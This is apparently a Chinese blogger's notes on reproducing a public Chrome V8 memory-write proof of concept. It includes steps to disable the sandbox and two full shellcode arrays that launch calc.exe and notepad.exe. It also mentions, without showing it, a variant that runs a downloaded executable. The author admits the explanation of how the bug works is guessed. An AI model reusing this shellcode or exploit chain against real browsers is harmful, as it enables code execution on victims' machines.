原始代码地址: https://github.com/r4j0x00/exploits/tree/master/chrome-0day

漏洞评价

意义

看起来没什么卵用的漏洞,因为逃不出chrome的沙箱。还得和其他漏洞相结合才行。

原理

没有完全看懂!!!

完全没有看懂!!!

利用Chromium内核的浏览器中V8 JavaScript引擎的内存写漏洞,写入shellcode,再借助wasm可以执行二进制代码特点,触发shellcode,达到执行的目的。

以上是看漏洞利用代码猜的!!!!

验证漏洞

  1. 关闭Chrome沙箱

    必须关闭Chrome的沙箱,不关闭shellcode会被拦截!! 手动启动chrome,带上参数-no-sandbox

  2. 启动计算器calc.exe

    shellcode(https://github.com/r4j0x00/exploits/tree/master/chrome-0day中的):

    var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];

  3. 启动记事本notepad.exe

    修改shellcode,也可以启动notepad

    shellcode:

    var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1859518426, 1885697135, 1697539169, 25976];

  4. 从网络启动一个exe

    因为本人Windows编程技术水平太次,干脆当伸手党,直接从网络启动一个exe算了。

    这个shellcode就不放了,核心是那条命令,懂的都懂。

评价

第一次接触这种漏洞,作为入门学习,这个漏洞还是蛮实用的,可以触发系统命令。而且这次公布的Poc也很“友善”,我这种小白也能改造。

附加

  1. 附上本人测试的Chrome版本:

    • 版本 89.0.4389.114(正式版本) (64 位) win7
  2. 另外经测试,有几个令人绝望的发现:

    • 32位的系统不能复现
    • 32位的chrome不能复现
    • server版没能复现

想要shellcode生成工具的可以关注本微信公众号。